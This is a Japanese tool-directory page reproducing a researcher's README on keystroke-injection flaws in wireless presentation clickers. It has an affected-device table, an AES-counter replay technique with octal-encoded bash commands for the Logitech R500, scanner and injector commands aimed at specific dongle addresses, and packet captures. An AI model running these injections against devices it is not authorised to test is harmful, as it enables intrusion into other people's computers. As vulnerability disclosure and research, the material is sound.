Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
presentation-clickers — ワイヤレスプレゼンテーションクリッカーにおけるキーストロークインジェクションの脆弱性 | Kitploit
ツール/GitHubGitHub/marcnewlin/presentation-clickers
組み込みシステムセキュリティエクスプロイトリバースエンジニアリングワイヤレスセキュリティハードウェアハッキングペネトレーションテストハードウェアとIoTセキュリティ
GitHubmarcnewlin/presentation-clickers

presentation-clickers

ワイヤレスプレゼンテーションクリッカーにおけるキーストロークインジェクションの脆弱性

リポジトリを見る
9614316年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

プレゼンテーションクリッカー

RFリバースエンジニアリングをやってみたくなったので、プレゼンテーションクリッカーを数台注文していろいろ楽しんでみた。

これは nrf-research-firmware のフォークです(数年前に Bastille で私が書いたものです)。いくつかの新しいトランシーバー/プロトコルへの対応を追加し、13種類の一般的なプレゼンテーションクリッカー向けのキーストロークインジェクションのPoCを含めました。

履歴

  • 2019-04-20 - 最初のバッチ(8台)を公開
  • 2019-04-21 - 2番目のバッチ(5台)を公開

キーストロークインジェクションの影響を受けるデバイス

ベンダーモデルプロトコルRFIC追加日
AmazonBasicsP-001AmazonBasics P-001nRF242019-04-20
CanonPR100-RCanon PR100-RPL11672019-04-20
FunpickWireless PresenterHS304HS3042019-04-20
AMERTEERWireless PresenterHS304HS3042019-04-20
BEBONCOOLD100HS304HS3042019-04-20
ESYWENWireless PresenterHS304HS3042019-04-20
Red Star TechPR-819HS304HS3042019-04-20
DinoFireD06-DF-USHS304HS3042019-04-20
TBBSCDSIT-60TBBSC DSIT-60BK24512019-04-21
RiiWireless PresenterRii Wireless PresenterBK24512019-04-21
LogitechR400Logitech UnencryptednRF242019-04-21
LogitechR800Logitech UnencryptednRF242019-04-21
LogitechR500Logitech EncryptednRF242019-04-21

プロトコル

Logitech Encrypted

概要

これは、R500 で使用されている標準的な暗号化 Logitech キーボードプロトコルです。MouseJack プロジェクトの一環として Logitech Unifying キーボードで文書化した「暗号化キーストロークインジェクション」攻撃に対して、ある意味脆弱です。

ある意味と言うのは、すべてのHIDスキャンコードが受け入れられるわけではないからです。具体的には、ドングルがパケットをホストコンピュータに送信する際、0x04-0x1D(A-Z)は0x00に置き換えられます。つまり、文字でない限り、好きなものを注入できるということです。もう1つの例外は、ctrlキーのコンビネーションが文字を含む場合でも許可されることです。

R500 を介した効果的なキーストロークインジェクションには、少し工夫が必要です。

ターゲットがbashセッション上にいると仮定します。bashでは、文字を8進数でエンコードし、ターゲットに実行させたいコマンド(文字を含む)をエンコードできます。

例えば、ping google.com は $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155' とエンコードされます。この文字列をbashセッションに送信し、その後 enter を送信すれば、ターゲットマシン上で ping google.com コマンドが実行されます。

デバイスの発見

nrf24-scanner を使って、お使いの Logitech R500 のアドレスを次のようにして見つけることができます:

sudo ./tools/nrf24-scanner.py -c {2..74..3} -l

パケットは次のような感じになります:

[2019-04-21 13:11:52.507]  62   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 13:11:52.515]  62   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 13:11:52.523]  62  22  85:D1:9D:FE:07  00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81

インジェクション

インジェクションが可能なのは、ドングルがAESカウンタのインクリメントを強制しないため、パケットをリプレイできるからです。OTAで送信されるパケットは、AESカウンタモードで暗号化されたUSB HIDペイロードと、その後のカウンタで構成されています。プレゼンテーションクリッカーのボタンを押すと、キーダウンパケットとキーアップパケットが生成されます。キーアップパケットはすべて0なので、再利用できるクリーンな鍵材料が得られ、自分のペイロードとXORしてOTAで送信できます。

ボタン押下を待ち受け、2番目(キーアップ)のパケットを取り出し、それを鍵材料のリファレンスとして自動的に使用するプロセスを自動化するのは難しくないはずです。しかし、私は怠け者なので、まず自分でボタン押下を観測する必要があります。次のような感じです:

[2019-04-21 16:02:56.451]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.459]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.468]  65  22  85:D1:9D:FE:07  00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.507]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.516]  65  22  85:D1:9D:FE:07  00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524]  65   5  85:D1:9D:FE:07  00:40:00:08:B8
[2019-04-21 16:02:56.532]  65   5  85:D1:9D:FE:07  00:40:00:08:B8

2番目の22バイトのパケットがキーアップパケットです。

ペイロードの最後のバイトを削除し、その文字列を logitech.py にコピー&ペーストして、KEYUP_REF を置き換えてください。

(KEYUP_REF を更新しないと動作しないはずですが、もし動作した場合はお知らせください!)

インジェクション

bash の ping google.com を8進数エンコードしたキーストローク系列を、特定の Logitech R500 ドングル(アドレス 85:D1:9D:FE:07)に注入します:

sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07

Logitech Unencrypted

概要

これは、R400/R800 で使用されている標準的な非暗号化 Logitech プロトコルです。

デバイスの発見

nrf24-scanner を使って、お使いの Logitech R400/R800 のアドレスを次のようにして見つけることができます:

sudo ./tools/nrf24-scanner.py -c {2..74..3} -l

パケットは次のような感じになります:

[2019-04-21 12:58:43.466]  32   0  9D:9E:95:52:07  
[2019-04-21 12:58:43.620]  32  10  9D:9E:95:52:07  00:C1:00:00:00:00:00:00:00:3F

インジェクション

テスト用のキーストローク系列を、特定の Logitech R400/R800 ドングル(アドレス 9D:9E:95:52:07)に注入します:

sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07

Rii Wireless Presenter

概要

Rii Wireless Presenter(丸型ペン型)は BK2451(nRF24 のクローンと思われる)をベースにしています。姉妹機種が多く存在することから、これは汎用プロトコルのように見えるので、もう少しデータを集めたら再分類するつもりです。

機能的には非暗号化のワイヤレスキーボードであり、キーストロークインジェクションに対して脆弱です。

PHY

Wireless Presenter(丸型ペン型)は、250Kb/s の nRF24 Enhanced Shockburst(ACKなしと思われる)と5バイトのアドレスを使用します。私がテストしたデバイスは2425 MHzに固定されているように見えましたが、何らかの周波数アジリティ方式を使用しているようです。実際には、キーストロークパケットを送信する前に、ターゲットチャンネルにダミーパケットをいくつか送信する必要があります。

チャンネルホッピングが行われている可能性があると思いますが、その特性はまだ解明していません。ただし、単一のチャンネルを狙うだけでキーストロークインジェクションを実証するには十分です。

デバイスの発見

nrf24-scanner を使って、お使いの Wireless Presenter(丸型ペン型)のアドレスを次のようにして見つけることができます:

sudo ./tools/nrf24-scanner.py -c 25 -l -R 250K -A 5

なお、お使いのデバイスは別のチャンネルにある可能性があります。

パケットは次のような感じになります:

[2019-04-21 11:50:33.116]  25   3  6D:8C:01:14:25  4B:51:00
[2019-04-21 11:50:33.212]  25   3  6D:8C:01:14:25  4C:00:00
[2019-04-21 11:50:33.522]  25   3  6D:8C:01:14:25  4D:51:00
[2019-04-21 11:50:33.565]  25   3  6D:8C:01:14:25  4E:00:00

インジェクション

テスト用のキーストローク系列を、特定の Rii ドングル(アドレス 6D:8C:01:14:25)に注入します:

sudo ./tools/preso-injector.py -l -f rii -a 6D:8C:01:14:25

TBBSC DSIT-60

概要

TBBSC DSIT-60 は BK2451(nRF24 のクローンと思われる)をベースにしています。明らかな姉妹機種(例:これ)がありますが、私はテストしていません。現時点ではこれを独立したプロトコルとして分類していますが、姉妹機種をテストすれば変更される可能性が高いです。

機能的には非暗号化のワイヤレスキーボードであり、キーストロークインジェクションに対して脆弱です。

PHY

DSIT-60 は、3バイトのアドレスを持つ250Kb/sのnRF24 Enhanced Shockburst(または少なくともOTA上で同等のもの)を使用します。私がテストしたデバイスは2406 MHzに固定されているように見えましたが、他にどのチャンネルを使うのかは確信がありません。

デバイスの発見

nrf24-scanner を使って、お使いの DSIT-60 のアドレスを次のようにして見つけることができます:

sudo ./tools/nrf24-scanner.py -c 6 -l -R 250K -A 3

なお、お使いのデバイスは別のチャンネルにある可能性があります。また、私が観測していない周波数アジリティの再チューニングが存在する可能性もあります。

パケットは次のような感じになります:


[2019-04-21 10:33:44.264]   6   4  87:02:09  0B:42:00:2B
[2019-04-21 10:33:44.269]   6   4  87:02:09  0B:42:00:2B
[2019-04-21 10:33:52.477]   6   4  87:02:09  01:42:00:28

インジェクション

テスト用のキーストローク系列を、特定の TBBSC DSIT-60 ドングル(アドレス 87:02:09)に注入します:

sudo ./tools/preso-injector.py -l -f tbbsc -a 87:02:09

AmazonBasics P-001

概要

これはほぼ間違いなく汎用プロトコルですが、まだ姉妹機種を調べていません(例:これ)。現時点ではこれを独立したプロトコルとして分類していますが、姉妹機種をテストすれば変更される可能性が高いです。

P-001 は nRF24 RFIC ファミリをベースとしており、機能的には非暗号化のワイヤレスキーボードで、キーストロークインジェクションに対して脆弱です。

ツールをダウンロード